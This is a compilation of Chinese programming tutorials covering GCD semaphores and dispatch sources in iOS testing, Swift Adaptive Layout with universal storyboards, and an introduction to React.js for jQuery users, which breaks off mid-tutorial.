	在这里我们也能体会到，使用 dispatch_apply 替换 for 循环以后，效果并没有太大提升。所以在这里花时间显得有些不太值得。


	通常来说，代码优化会使得代码变得更复杂，也让别人更难读懂我们的代码。所以优化前要考虑到这一点。




GCD 的其他功能

除了上面介绍过的这些常用功能外，GCD 还有一些不是那么常用的功能，但在某些场合使用也许会十分方便。

在 Xcode 中测试是在 XCTestCase 的一个子类上执行。测试方法的方法名通常是原本的方法签名前加一个 test。测试是在主线程上进行的。

一旦一个测试方法运行完成，XCTest 方法会认为这个方法已经完成并且运行下一个 test。这就意味着，如果一个方法中包含异步代码，很有可能在运行下一个方法的时候，当前方法还在继续运行。

通常网络请求相关代码都是异步的，加上 test 通常都会在测试方法执行完成后就结束，这会使得网络请求代码很难测试。但是，我们可以在 test 方法中阻塞主线程一直到网络请求完成。

这里需要注意的是，是否使用这种方式进行测试大家还是有分歧的，有些人认为这种方式没有很好的遵循集成测试的设定。但是如果这种方式对我们有用，不妨一试。

在 test 方法中，原本代码如下：

-(void)downloadImageURLWithString:(NSString *)URLString
{
    NSURL *url = [NSURL URLWithString:URLString];
    __block BOOL isFinishedDownloading = NO;
    __unused Photo *photo = [[Photo alloc]
                             initwithURL:url
                             withCompletionBlock:^(UIImage *image, NSError *error) {
                                 if (error) {
                                     XCTFail(@"%@ failed. %@", URLString, error);
                                 }
                                 isFinishedDownloading = YES;
                             }];
 
    while (!isFinishedDownloading) {}
}


用上面的方法测试并不是很合理。方法末尾的 while 循环等待 isFinishedDownloading 在 completion block 中变为true。运行 test，为了让现象更加明显我们可以开启手机开发者模式里的网络控制，把网络状态调整为 very bad。打开 debug navigation, 在我这里，可以非常明显的看到 CPU 使用率保持在 95% 高居不下，内存使用也从 6点几上涨到了 8 点几。

这种实现方法叫做自旋锁。造成这个现象的原因是，while 循环在网络请求结束之前，不间断的检查 isFinishedDownloading 中的值。

Semaphores（信号灯）

信号灯是一个非常 old-school 的概念。如果想了解更多一些，可以百度“哲学家就餐问题”。
信号灯允许我们控制多个消费者对有限的资源的访问。我们可以把信号灯想象成一个餐厅的服务员，我们的餐厅只有两个位子，那么每次我们最多就只能允许两位客人进去用餐，那么剩下的客人就要排队等位子用餐（First in first out）。

我们来尝试使用 semaphores，将上面的代码替换为：

-(void)downloadImageURLWithString:(NSString *)URLString
{
    // 1
    dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);
 
    NSURL *url = [NSURL URLWithString:URLString];
    __unused Photo *photo = [[Photo alloc]
                             initwithURL:url
                             withCompletionBlock:^(UIImage *image, NSError *error) {
                                 if (error) {
                                     XCTFail(@"%@ failed. %@", URLString, error);
                                 }
 
                                 // 2
                                 dispatch_semaphore_signal(semaphore);
                             }];
 
    // 3
    dispatch_time_t timeoutTime = dispatch_time(DISPATCH_TIME_NOW, kDefaultTimeoutLengthInNanoSeconds);
    if (dispatch_semaphore_wait(semaphore, timeoutTime)) {
        XCTFail(@"%@ timed out", URLString);
    }
}


我们来看看这段代码的作用。


	注释1：创建 semaphore，参数表示 semaphore 初始的值。这个数字表示可以直接访问信号灯，而不用先让信号灯增长的对象数量。（让一个信号灯增长就是给一个信号灯发信号）


	注释2：在这里我们通知这个信号灯，我们不在需要这个资源了。这里让信号灯增长，并且表明，信号灯可以接受其他对象的访问了。


	注释3：等待信号灯发信号，并设置一个 timeout 的时间。这里会阻塞当前的线程，知道 semaphore 被通知。如果超时会返回一个非零的结果（non-zero result）。




再次运行 test 可以看到，CPU 使用率一直是 0，在十秒后返回了一个超时错误。

Dispatch sources

Dispatch source 简单说是一个一些 low-level 功能的集合，可以帮助我们监控 Unix 信号、文件描述、VFS 节点等不太常用的东西。上面说的这些东西我自己也没怎么用过，在文中就不做介绍了，我们可以尝试一种特殊的方式来使用以下 dispatch source。
我们来看一下关于 dispatch source 的创建方法：

dispatch_source_t dispatch_source_create(
   dispatch_source_type_t type,
   uintptr_t handle,
   unsigned long mask,
   dispatch_queue_t queue);


关于这个方法的文档

第一个参数 dispatchsourcetype_t，这是最重要的参数。关于这个方法在官方文档的详细介绍：创建一个新的 dispatch source 来监控 low-level 的系统对象，并且自动注册一个 handle block 到 dispatch queue 来对事件作出回应。

参数 type：dispatch source 的类型，必须是这个列表中常量。
参数 handle：用来进行监控。这个参数取决于上面的 type 参数。
参数 mask：一个标志的 mask，用来确定需要哪些事件。同样也受 type 的指挥。
参数 queue：事件操作 block 要被提交到的 queue。

返回值是一个 dispatch source 对象，如果没有创建成功的话返回为空。

这里要监听的是一个 DISPATCHSOURCETYPE_SIGNAL。

dispatch source 会监听当前的进程，等待信号。handle 是一个int 类型的信号数字。Mask 暂时没有用到，先传0。

在这里我们可以看到一个 Unix signal 列表，在这里我们会监听 SIGSTOP 信号。这个信号会在进程收到了一个不可避免的暂停指令后发出。当我们使用 LLDB debugger 来 debug 我们的 APP 的时候，其实也是发送了这个信号。

我们在 PhotoCollectionViewController.m 添加下面的代码：

-(void)viewDidLoad
{
  [super viewDidLoad];
 
  // 1
  #if DEBUG
      // 2
      dispatch_queue_t queue = dispatch_get_main_queue();
 
      // 3
      static dispatch_source_t source = nil;
 
      // 4
      __typeof(self) __weak weakSelf = self;
 
      // 5
      static dispatch_once_t onceToken;
      dispatch_once(&onceToken, ^{
          // 6
          source = dispatch_source_create(DISPATCH_SOURCE_TYPE_SIGNAL, SIGSTOP, 0, queue);
 
          // 7
          if (source)
          {
              // 8
              dispatch_source_set_event_handler(source, ^{
                  // 9
                  NSLog(@"Hi, I am: %@", weakSelf);
              });
              dispatch_resume(source); // 10
          }
      });
  #endif
 
  // The other stuff


我们来一步步看一下上面代码的作用：


	注释1：这段代码最好是在 Debug 模式下使用。


	注释2：声明 queue，注意这里的 queue 就是主队列。


	注释3：声明 dispatch_source。


	注释4：使用 weakSelf 是为了保证没有 retain 循环。在这里使用 weakSelf 也不是一定需要的，因为 PhotoCollectionViewController 这个类在 App 的整个声明周期都会存在。但是，如果我们在使用过程中有一些类（View Controller）会disappear，weakSelf 任然能保证没有 retain 循环。


	注释5：使用 dispatch_once ，让 dispatch source 只执行一次。


	注释6：给 source 赋值，参考上面我们对 dispatchsourcecreate 方法的介绍。第二个参数表示，我们要监听 SIGSTOP 信号。


	注释7：如果使用了不正确的参数，dispatchsourcecreate 是不能执行成功的。所以我们在这里进行检查。


	注释8：dispatchsourceseteventhandler 会在我们收到监听的信号时调用。


	
注释10：默认情况下，所有的 dispatch sources 是暂停状态的。我们在这里让 source 恢复，以便开始监控其他事件。

现在运行程序，然后在 Debugger 中暂停，然后再继续运行。





我们能看到在点击继续时候，控制台 log 了上面的文字。现在我们的代码能够检查到进入了 debug 状态。

我们可以用这个方法来 debug 对象，并在 resume 的时候显示数据。还有一个有趣的使用方法：我们可以用它来做堆栈追踪工具，在 debugger 里面找到我们想要操作的对象。

使用这个方法我们可以随时停止 debugger，然后让代码在我们要执行的位置执行。

例如，我们可以在上面代码 NSLog 位置设置一个断点，暂停一下，然后继续，应用就会触发我们刚刚添加的断点。在这里我们就可以访问当前这个类的变量了。

现在在 debugger 中输入

po [[weakSelf navigationItem] setPrompt:@"HAHAH!"]


可以看到我们在没有改变代码的前提下，Navigation Bar 上的文字被改变了。

使用这种方法，我们可以直接更新当前 UI，查询当前类的值，甚至执行一个方法，restart 应用。



Bingo！

有需要的话可以点击这里查看完成后的Demo。
参考链接


 Swift自适应布局（Adaptive Layout）教程（一）

作者：DevTalking

来源： Swift自适应布局（Adaptive Layout）教程（一）



                    
通用的Storyboard


通用的stroyboard文件是通向自适应布局光明大道的第一步。在一个storyboard文件中适配iPad和iPhone的布局在iOS8中已不再是梦想。我们不必再为不同尺寸的Apple移动设备创建不同的storyboard文件，不用再苦逼的同步若干个storyboard文件中的内容。这真是一件美好的事情。


我们打开Xcode，新建一个项目：





选择iOS\Application\Single View Application创建一个单视图应用：





设置项目名称AdaptiveWeather，语言选择Swift，设备选择Universal：





创建好项目后，我们在项目目录结构中可以看到只存在一个storyboard文件：





Main.storyboard文件就是一个通用的storyboard文件，它可以适配目前所有屏幕尺寸的Apple移动设备。打开该文件，同学们会看到一个View Controller，以及一个我们不太熟悉的界面尺寸：





同学们不要吃惊，没错，你们看到的就是一个简单的、有点大的正方形！大伙都知道，在上一个版本的Xcode中，storyboard里的屏幕尺寸都对应着我们所选的目标设备的尺寸，但是这样无法让我们达到“用一个storyboard搞定所有设备”的宏伟目标。所以在iOS8中，Apple将storyboard中屏幕的尺寸进行了抽象处理，也就是说我们看到的这个正方形是一个抽象的屏幕尺寸。


我们接着往下走，选中Main.storyboard文件，然后在右侧工具栏中选择File Inspector页签，然后勾选Use Size Classes选项：





在新的iOS8项目中，该选项默认是勾选的。但当你使用老版本的项目创建新的storyboard文件时就需要你手动进行勾选了。


设置你的Storyboard文件


首先，我们打开Main.storyboard文件，从组件库（Object Library）中选择Image View拖拽到View Controller中。选中刚刚拖入的Image View，在右侧工具栏选择Size Inspector页签，设置X坐标为150，Y坐标为20，宽为300，高为265。


然后再拖入一个View组件，设置X坐标为150，Y坐标为315，宽为300，高为265。


选择你刚才拖入的View，在右侧工具栏中选择Identity Inspector页签，在Document面板中的Label属性输入框中输入TextContainer。这个属性的作用就是给View起一个名字，方便我们辨认。这里要注意一下，Document面板有可能是隐藏的，我们需要点击它后面的 Show按钮来显示它。我们拖入的这个View最后是显示城市和温度Label的容器。





完成上面的设置后，同学们可能会发现刚才拖入的View貌似看不到，这是因为它的背景色和View Controller的背景色是相同的，都是白色，所以我们不太容易辨别。我们来解决这个问题，选中View Controller的View，然后在右侧工具栏中选择Attribute Inspector页签，设置背景色为 红：74，绿：171，蓝：247。然后再选择TextContainer，就是我们拖入的View，设置背景色为 红：55，绿：128，蓝：186。此时Main.storyboard文件中应该是这番景象：





到目前为止，我们在View Controller中添加了两个组件Image View和View，这也是仅有的两个组件，接下来我们就要给它们添加一些布局约束了。


添加布局约束


选择image view，点击底部自动布局工具栏中的Align按钮，勾选Horizontal Center in Container选项，将后面的值设置为0，点击 Add 1 Constraint按钮添加第一个约束。





这个约束的意思是让image view在它的容器（View Controller的View）中保持居中。


然后再点击底部自动布局工具栏中的Pin按钮，添加一个image view顶部与容器顶部间距的约束，我们设置为0：





上面这两个约束使image view处于容器居中的位置，并且它的顶部与容器顶部有一个固定的间距。现在我们需要添加image view和text container view之间的约束。同学们先选中image view，然后按住Ctrl键和鼠标左键，从image view往text container view移动鼠标：





松开鼠标左键后会弹出一个约束菜单，我们选择Vertical Spacing：





这个约束决定了image view底部和text container view顶部之间的距离。


现在选中image view然后点击右侧工具栏中的Size Inspector页签，同学们会发现这里在Xcode6中和之前的Xcode版本有所不同：





你会看到之前添加的三个布局约束，你可以在Size Inspector中很方便的修改这些布局约束。比如点击Bottom Space To: TextContainer约束后的 Edit按钮，会弹出约束属性编辑框，我们让Constant的值等于20：





然后点击该弹出框之外的任意地方关闭该弹出框。


你先已经将TextContainer view顶部与image view底部的间距调整到了20，我们还需要添加TextContainer view另外三个边的间距约束。


继续选择TextContainer view，点击底部的Pin按钮弹出 Add New Constraints窗口，在 Spacing to nearest neighbor面板中设置左、右、底部的约束，将值设置为0，然后点击Add 3 Constraints按钮添加约束。这里要注意的是，在设置约束时要将 Constrain to margins选项的勾去掉，这样可以避免TextContainer view产生内边距：





这三个约束会让TextContainer view的左、右、底部三个边与容器的左、右、底部的间距始终为0。


现在Main.storyboard中应该是这番景象：





此时同学们应该会注意到在view上有几个橘黄色的约束线，这意味着还有一些约束上的问题需要我们注意。不过在运行时storyboard会自动更新view的大小来满足它与容器的约束条件。我们也可以点击底部 Resolve Auto Layout Issues 按钮，在弹出框中选择 All Views in View Controller/Update Frames 来修复提示的约束问题，但是如果我们这样做，那么image view的尺寸就会压缩成零，也就是会看不到image view。


这是因为我们的image view还有没有任何内容，但是它有一个缺省的高和宽，并且值为0。进行自动布局的时候，如果被约束的view没有实际的高和宽，那么会依照缺省的高和宽来满足约束条件。


我们接着学习，在项目结构中打开 Images.xcassets ，然后点击左下角的 +号，在弹出菜单中选择 New Image Set：





双击左上角的 Image 标题将其改为 cloud ：





我们刚才新建的这个image set其实就是若干图片文件的一个集合，其中的每一个图片都会对应一个特定的应用场景，也就是针对与不同分辨率的Apple移动设备。比如说，一个图片集合可能会包含针对非视网膜、视网膜、视网膜高清三种分辨率的图片。自从Xcode中的资源库与UIKit完美结合后，在代码中引入图片时我们只需要写图片的名称，程序在运行时会根据当前运行的设备自动选择对应分辨率的图片。



  注意：如果你以前使用过通过资源库管理图片，那么你可能会发现在Xcode6中会有所不同。那就是3x图片是怎么回事？

  
  这个新的分片率是专为iPhone 6 Plus提供的。这意味着每一个点是由3个像素点组成，也就是说3x的图片比1x图片的像素多9倍。




目前你的图片集合中还是空的，同学们可以在这里下载需要的图片cloud_images.zip ，然后将图片拖入刚才创建的名为cloud的图片集合中，将 cloud_small.png图片拖到 1x图片区域：





由于我们的图片背景颜色是透明的，所以在图片集合中看到的都是白色的图片。你可以选中某一个图片，然后按下空格键来预览图片。比如选中 1x 图片，按下空格：





现在将 cloud_small@2x.png 图片拖至 2x 图片区域，将 cloud_small@3x.png 图片拖至 3x 图片区域。和之前情况一样，我们看到的只是白色的图片，但我们可以通过空格键来预览图片集合中的图片。


现在你就可以在image view中设置图片了。我们回到 Main.storyboard 中，选中image view，在右侧工具栏中选择 Attribute Inspector 页签，将 Image View 面板中的 Image 属性设置为 cloud，然后将 View 面板中的 Mode 属性设置为 Aspect Fit ：





现在你的Main.storyboard中应该是这番景象：





我们看到storyboard中一直有橘黄色的约束提示，是时候让我们来修复它们了。首先选中view controller的view：





然后点击底部的 Resolve Auto Layout Issues 按钮，在弹出菜单的 All Views in View Controller 面板中选择 Update Frames ：





这时，storyboard会自动根据约束条件重新计算view的大小以满足约束：





预览助手编辑器（Preview Assistant Editor）


一般情况下，在这个时候我们应该会在iPad、iPhone4s、iPhone5s、iPhone6、iPhone6 Plus这几个不同尺寸的设备上编译运行程序，以便测试通用的storyboard是否能在不同尺寸的设备上正确的自适应。但这确实是个体力活，一遍一遍的更改设备、编译、运行，多么苦逼。但上天总是会眷顾我们这些苦逼的程序员，Xcode6提供了Preview Assistant Editor，能在一个界面上显示出不同尺寸设备的程序运行情况，是否有问题一目了然。


我们打开 Main.storyboard ，然后选择 View\Assistant Editor\Show Assistant Editor ，这时编辑区会分隔为两部分。再点击顶部导航栏中的 Automatic ，在弹出菜单中选择 Preview ，最后选择 Main.storyboard (Preview) ：





现在在 Assistant Editor 区域会显示一个4寸的界面：





我们还可以点击预览界面底部，名字（比如图中的iPhone 4-inch）旁边的地方让屏幕翻转为横屏：





这无疑是针对检查不同尺寸设备的自适应情况的一项重大改进，但还远远不止于此！点击预览界面左下角的 + 按钮，会弹出当前storyboard文件支持的各种尺寸的设备，可供我们预览：





分别选择iPhone 5.5-inch和iPad，此时我们在预览界面就可以同时显示三种尺寸的屏幕：





此时同学们是否注意到4寸的横屏显示有点别扭呢？没错，它的那朵元太大了，我们可以通过对image view添加其他的约束条件来改善这个问题。


回到 Main.storyboard ，选择image view，然后按住 Ctrl建和鼠标左键，拖动鼠标到View Controller的View上，松开鼠标后会弹出一个菜单，我们选择 Equal Heights ：





这时会出现一些红色的约束提示，这是因为我们刚才加的这个约束条件与之前加过的约束条件有冲突。因为之前我们添加过image view和TextContainer view之间的垂直间距（Vertical Margins）约束，所以image view的高度不可能等于它容器（View Controller的View）的高度。


让我们来修复该问题，首先在storyboard的结构目录中选择我们刚才添加的 Equal Heights 约束，然后选择右侧工具栏中的 Attribute Inspect 页签，如果 First Item 属性不是 cloud.Height ，那么在下拉菜单中选择 Reverse First and Second Item 这一项让 First Item 的值成为 cloud.Height ：





接下来将 Relation 属性的值设置为 Less Than or Equal ，将 Multiplier 的值设置为 0.4 ：





这一系列设置的作用是让cloud这张图片的高度要么等于它自身的高度，要么等于屏幕高度的40%，最后呈现的效果选择这两者中较小的一个高度。


现在你应该注意到了在预览面板中，4寸的横屏显示即时的对你刚才的约束改动做出了响应：





你看看其他尺寸的预览自动更新了么？答案那是必须的，所以说 Preview Assistant Editor 确实是一项重大改进，是程序员和设计人员的福音！


由于本文的示例是一个天气应用，所以光有天气图标不行，我们还得加上城市和温度才行。


本文首发地址：Swift自适应布局（Adaptive Layout）教程（一）


2015 优秀文章 - React.js


 React.js 的介绍 - 针对了解 jQuery 的工程师（译）

作者：墨白

来源： React.js 的介绍 - 针对了解 jQuery 的工程师（译）



                    
这是一篇国外上了hacker news头条的文章，作者利用一个小案例的将jQuery以及React进行了对比，解释了React的优势，将这篇文章翻译过来，期望能够同大家一起进步~原文地址，下面是正文：





我也听说React.js非常棒，最近也花了一些时间来研究它。现在我使用React起来感觉非常舒服，我决定在这一方面写一个简单的教程。

目标人群：了解 jQuery 的前端工程师

在开始之前，我想声明一下我写这篇文章的受众。

“learn code the hard way”系列的作者Zed Shaw 最近写了一篇非常棒的博客叫做“Early v.s. Beginning Coders”，在这篇博客里，Zed批评了那些声称他们的教程是完完全全适合初学者的编程培训人员，实际上，这些教程对于大多数初学者来说是不适合的。  

我不想犯同样的错误。对于没有尝试过React的工程师里面，有些人喜欢使用像backbone、Ember或者Angular之类的JS框架，有些人对于JavaScript非常了解，有些人仅仅了解jQery。对一类工程师有效的教程未必对于另一类也有用。

在这个教程里面，我这篇文章的受众是我上面提到的第三种类型的工程师：了解jQuery的工程师，详细点：


	可以做简单的HTML/CSS/jQuery编写的设计者 知道怎样使用jQuery插件的开发者


	依赖Bootstrap以及简单的jQuery来实现简单的前端效果的后端开发者


	任何在编写JavaScript代码时习惯复制粘贴而不是自己编写的人




如果你已经习惯自己编写JavaScript代码或者使用其他的前端框架例如Backbone\Ember\Angular，这个教程并不适合你，我的代码风格也会让你疑惑。有很多其他非常好的教程值得你去学习，例如React官方教程

同样的，如果你对React已经足够了解，那么你可能会认为这个教程很低级，因为我在其中大部分都是些的关于React的state的知识，没有涉及到组件以及其他的知识。

我认为这个教程的最适宜受众是那么习惯了使用jQuery的工程师，这门教程可以告诉他们React的优势在哪里~

好的，让我们开始吧~

预计花费时间：1~2小时

如果你学习能力非常好（并且复制粘贴代码而不是自己敲的话），这个教程应该会花费你大概一个小时。如果你用心研读并且自己敲代码的话，这个教程应该会花费你大概两个小时的时间。

如果你被某一处所困扰，可以做下面的：


	在本页的底部发表你的评价


	给我发email： shu@chibicode.com


	在Twitter上联系我：@chibicode


	在GIthub上面post你的疑问：Github链接




本文的主要任务：利用React编写一个Tweet Box

许多React教程从解释React的工作原理以及为什么React是如此神奇开始，但我的教程不是！

相反，我们会直接建立一个简单的UI项目，选择的工具是jQuery和React，利用这个项目，我们来解释它们之间的不同点，我相信看完这个教程之后你能够思考的更远而不仅仅只是编写了一个UI项目。

我们将要做的UI与推特上面的Tweet Box很像，当然，我们对它的功能进行了精简，希望你能够觉得这个例子能够帮助你更好的了解React~



步骤一：关于JSBin的介绍

（第一步可以略过，各位可以在自己的本地编辑器按照教程的步骤编写就行）

首先介绍这个教程将要使用的一个在线支持HTML/CSS/JS代码的编辑器：JSBin，它可以在线支持jQuery以及React.js代码。你可能比较熟悉相似的工具：codepen或者JSFiddle，选择JSBin的原因仅仅只是我的习惯。

JSBin的示例


左边是HTML语句，右边是即时生成的结果(建议在自己的编辑器上面直接编写，尝试过有些效果JSBin上面不能完全显示)

建立一个JSBin的账号

建议你创建一个JSBin的账号，在菜单栏上面点击Login或者Register就可以。

在创建账号之后，你就可以克隆JSBin的开源的代码到你的账户，就如同Github一样，让我们来尝试一下，点击JSBin菜单栏上面的“Save”按钮


如果你在JSBin的网站上面，你可以在菜单栏选择“Add Library”来引入流行的css或者JS框架


可以尝试做以下的事情：


	点击“Add Library”来添加最新的Bootstrap


	在button标签上面添加类名“btn btn-primary”




JSBin的示例：JSBin示例1

反馈回来的结果是这样的：


左侧的代码如下：

<!DOCTYPE html>
<html>
<head>
<script src="https://code.jquery.com/jquery.min.js"></script>
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css" rel="stylesheet" type="text/css" />
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js"></script>
  <meta charset="utf-8">
  <title>JS Bin</title>
</head>
<body>
  <button class="btn btn-primary">Button</button>
</body>
</html>

下面来创建一个Tweet Box：

现在你应该已经习惯了JSBin的用法了吧？好的，让我们来创建一个Tweet Box吧~仍然是在之前的代码中，改变<html>中<body>的内容：

<div class="well clearfix">
  <textarea class="form-control"></textarea><br/>
  <button class="btn btn-primary pull-right">Tweet</button>
</div>

我们将会使用BootStrap中的类名，如：form-control、well、clearfix等等，但是这些仅仅只是为了美观，跟本教程没有任何关系，下面是代码以及结果：

JSBin示例2

<!DOCTYPE html>
<html>
<head>
<script src="https://code.jquery.com/jquery.min.js"></script>
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css" rel="stylesheet" type="text/css" />
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js"></script>
  <meta charset="utf-8">
  <title>JS Bin</title>
</head>
<body>
  <div class="well clearfix">
    <textarea class="form-control"></textarea><br/>
    <button class="btn btn-primary pull-right">Tweet</button>
  </div>
</body>
</html>



步骤二：第一个需求---“Tweet”按钮未输入的时候是不能点击的

现在，该用一些JS来实现交互了，我们会满足以下的需求：

需求一：Tweet按钮初始状态应该是不能点击的。只有当输入框中有字符输入，按钮才能够点击

下面就是一个demo

为了满足这个需求，在之前的代码中需要添加一些jQuery代码：

// 初始化状态
$("button").prop("disabled", true);

// 文本框的值发生变化时
$("textarea").on("input", function() {
  // 只要超过一个字符，就
  if ($(this).val().length > 0) {
    // 按钮可以点击
    $("button").prop("disabled", false);
  } else {
    //否则，按钮不能点击
    $("button").prop("disabled", true);
  }
});

代码解释：


	我使用的是标签名选择器：button还有textarea，在这个例子中没有必要给他们添加class类名或者id


	为了实现按钮不能点击，使用代码$(...).prop(disabled, ...)


	为了监听textarea的变化，需要使用input事件，这个标准浏览器上面都能得到支持




尝试在文本框中输入一些字符，注意观察button状态的改变

如果你感到困惑，建议多研究一下jQuery代码的使用方法，再来继续学习本教程。有很多学习jQuery很好的网站，例如Codecademy、Treehouse、Code school以及国内的慕课网。

第一个需求以及完成了，接下来我们会利用React来实现同样的效果。

步骤三：使用React.js来制作Tweet Box

对于React，首先你需要了解的是你会在js中写标签，而不需要在HTML文档中。

下面来展示一下我说的是什么意思。下面是利用React.js所呈现的同样Tweet Box的代码

建议：你不需要明白代码的含义，仅仅尝试读一下代码就可以了

var TweetBox = React.createClass({
  render: function() {
    return (
      <div className="well clearfix">
        <textarea className="form-control"></textarea>
        <br/>
        <button className="btn btn-primary pull-right">Tweet</button>
      </div>
    );
  }
});

React.render(
  <TweetBox />,
  document.body
);

一些注意事项：


	return (...)不是JavaScript代码，而是一个HTML代码。在React中，你会使用一个特殊的语法叫做JSX，它可以让你在JavaScript代码插入HTML代码。


	其中的HTML代码仅仅只是与平常我们所编写的HTML代码有一些相像，它们之间还是有一些区别的。注意，它使用className而不是class，但它们非常像，所以你可以很快的学会它们。


	浏览器不能解析JSX语法，所以当React运行你的JSX代码的时候，React会自动解析其中的HTML成JavaScript代码，从而使浏览器能够解析。


	在主文档的HTML结构的<body></body>标签中不需要写入HTML标签，我们会在JavaScript中写入标签




常问的问题以及解答：

问题：React.createClass还有React.render有什么作用？我需要现在就明白它们吗？
回答：现在你不需要对这个感到担心。React.createClass创建一个有名字的UI组件（在这个例子中，就是TweetBox）。然后通过React.render(< TweetBox />,document.body)插入body这一个DOM节点中，现在你了解这些就足够了。

问题：在本地，我需要做一些特殊的事情去写JSX吗？
回答：是的，但是你只需要引入一个叫做JSX Transformer这个文件就行了。而在JSBin中，你只是需要增加一个React库，下面对这个会有介绍。

问题：在同一个区域将js还有HTML混在一起写，不是说是一种坏的风格吗？
回答：对于简单的页面而言，这样写可能会是一种坏的风格，但是对于大型的网页应用就不一定了。在大型的网页应用中，会有成百上千的UI，每一个UI都包含他自己的标签以及行为。对于每一个UI而言，如果标签还有事件行为放在一起，会更加利于维护。React就是设计用来制作大型的网页应用。众所周知的，React是全球最大的网页应用公司FaceBook开源并且使用的。

下面我会带着你一步一步的来写上面展示的React的代码。

步骤四：写你的第一个React代码

首先，制作了一个简单的HTML页面，我在其中引入了React以及Bootstrap，代码如下：
JSBin示例1

<!DOCTYPE html>
<html>
<head>
<script src="//fb.me/react-0.13.1.js"></script>
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css" rel="stylesheet" type="text/css" />
  <meta charset="utf-8">
  <title>JS Bin</title>
</head>
<body>

</body>
</html>

在JSBin上面输入上面的代码之后，打开JavaScript标签选择“JSX(React)”



本地操作方法：在本地文档上可以在安装React之后，引入JSXTransformer文件*

   <script src="../build/react.js"></script>
   <script src="../build/JSXTransformer.js"></script>
   <script type="text/jsx"></script>

上面是本地使用React的示例，具体的大家可以参考网上的其他教程，这里就不过多赘述了

现在你可以来写一些React代码了。可以尝试跟我一起敲下面的代码：

var TweetBox = React.createClass({
  render: function() {
  }
});

上面的代码是创建以UI组件的主体，它就像是jQuery中的$(function(){...})一样重要。

为了构建一个UI，我们必须在render()方法中输入一些代码。现在，我们来用div标签来做一些简单的事情

var TweetBox = React.createClass({
  render: function() {
    return (
      <div>
        Hello World!
      </div>
    );
  }
});

如上面所示，在return后面加一对括号(...)，然后在里面写上标签。

JSX的一些注意事项

对于JSX，你需要记住一件事情：render()语句中，在return(...)只能有一个返回的大的闭合标签

下面的示例不会起作用（没有返回标签）：

return (
  Hello World!
);

下面的示例也不会起作用(有两个返回标签)：

return (
  <span>
    Hello
  </span>
  <span>
    World
  </span>
);

将UI组建插入到DOM节点：

现在我们想将上面的“hello world”UI组件插入到DOM中，我们需要加上代码React.render()在我们刚刚写的代码下面：

var TweetBox = React.createClass({
  render: function() {
    return (
      <div>
        Hello World!
      </div>
    );
  }
});

React.render(
  <TweetBox />,
  document.body
);

React.render接收两个参数，第一个是UI对象，就是<VariableName />,第二个参数是DOM对象(在这个例子中指document.body)。将两个参数结合到一起，代表着将TweetBox这个UI组件插入到body里面。

现在你应该看到Hello World!出现了，恭喜，你已经成功的写出了第一个React组件！

下面，我们来写我们真正的TweetBox组件

现在，我们在TweetBox里面插入真正的HTML结构，而不是Hello World。在之前render代码的基础上面替换成下面的代码。

return (
  <div className="well clearfix">
    <textarea className="form-control"></textarea>
    <br/>
    <button className="btn btn-primary pull-right">Tweet</button>
  </div>
);

这里有两件事情需要注意：


	不要使用class，使用className，因为JSX代码最终要翻译成JS代码, 而class在最新版的JS标准中属于保留字.


	如果你只是用<br>，而不是<br />,这个标签不会起作用。记住一定要在自闭合标签中加上/




其他的应该跟之前的jQuery的示例相同。

现在你应该可以在JSBin中看到TweetBox了。如果什么都没有，也许你应该仔细的检查一下你的代码。

这就是步骤四，这是这一步的JSBin。（可能JSBin不能呈现出我们想要的效果，我依旧建议自己在本地敲这些代码）。

步骤五：利用React实现tweet按钮的第一个需求：初始状态禁用

首先，我们利用jQuery来实现这样的需求。

需求一：按钮初始状态禁用，当输入框内有字符输入的时候，按钮可以进行点击。

下面是我们写的完成这个需求的jQuery代码：

// Initially disable the button
$("button").prop("disabled", true);

// When the value of the text area changes...
$("textarea").on("input", function() {
  // If there's at least one character...
  if ($(this).val().length > 0) {
    // Enable the button.
    $("button").prop("disabled", false);
  } else {
    // Else, disable the button.
    $("button").prop("disabled", true);
  }
});

下面来看看我们怎么用React来完成这样的需求：

接着前面的JSBin的代码示例开始：

首先，让我们给按钮设置初始状态：

render: function() {
  return (
    ...
    <button className="..." disabled>Tweet</button>
    ...
  );
}

按钮现在的状态应该是禁用的了。

请注意，我们是这样利用jQuery来实现同样的功能。

$("button").prop("disabled", true);

现在，我们要实现文本框内有字符，button按钮可用的需求。

处理状态改变的事件

首先，我们需要等待文本的输入。利用jQuery可以这样写：

$("textarea").on("input", function() {
  ...
}

而在React中，我们需要写一个事件处理方法，就叫它：handleChange吧

React.createClass({
  handleChange: function(event) {
  },
  render: function() {
    ...
  }
});

接下来，当文本框发生改变的时候，我们调用这个方法。为此，我们要对textarea标签做些修改：

<textarea className="form-control"
          onChange={this.handleChange}></textarea>


	在jQuery中，我们使用input事件，而在React中，我们使用onChange。接下来，你会从React文档中接触到事件在React JSX中的不同用法，所以不用太过担心。


	更重要的是，我们在JSX文档的HTML语句中使用{...}语法来处理JavaScript代码。在这个示例中，因为handleChange在UI组件中是一个方法，所以我们在handleChange的前面添加了this来调用它。


	如果你已经习惯了编写jQuery代码，那么这看起来是一个非常不好的代码风格。再次申明，无须担心这个问题。在大型应用中，由于标签以及事件都组合在一个，代码会更加易于阅读以及修改。




为了确保handleChange方法被调用，我们在方法中加入console.log语句。

handleChange: function(event) {
  console.log(event.target.value);
},

event对象包含target，即是textarea，我们使用.value来输出textarea的值。

在你的JSBin中，打开console控制台来查看输出，然后，在文本框中随便输入一些字符。


你也可以在这里尝试JSBin console尝试。

这就是步骤五的所有啦。tips：验证成功，可以在JSBin中关闭console，在下一步，我们不再需要它。

步骤六： 事件状态的应用(重点)

接下来，我会重点解释jQuery代码风格以及React代码风格的最大不同。

在jQuery中，当某些事件发生的时候，你会经常性改变DOM(像我们之前做的那样)：


在React中，你并不直接改变DOM。不同的是，当事件发生时，你改变的是“状态”，而这，是通过调用this.setState来实现。


之后，当每次“状态”改变的时候，render会被调用，在调用的过程中，可以改变“状态”


这就是在事件发生时更新UI的过程。没错，它确实比较难懂，所以，接下来，我会通过代码来解释这一过程。

写一个事件处理方法

接着上一步的JSBin的代码。首先，我们需要初始化“状态”这一对象。如果没有这一步，什么作用都没有。

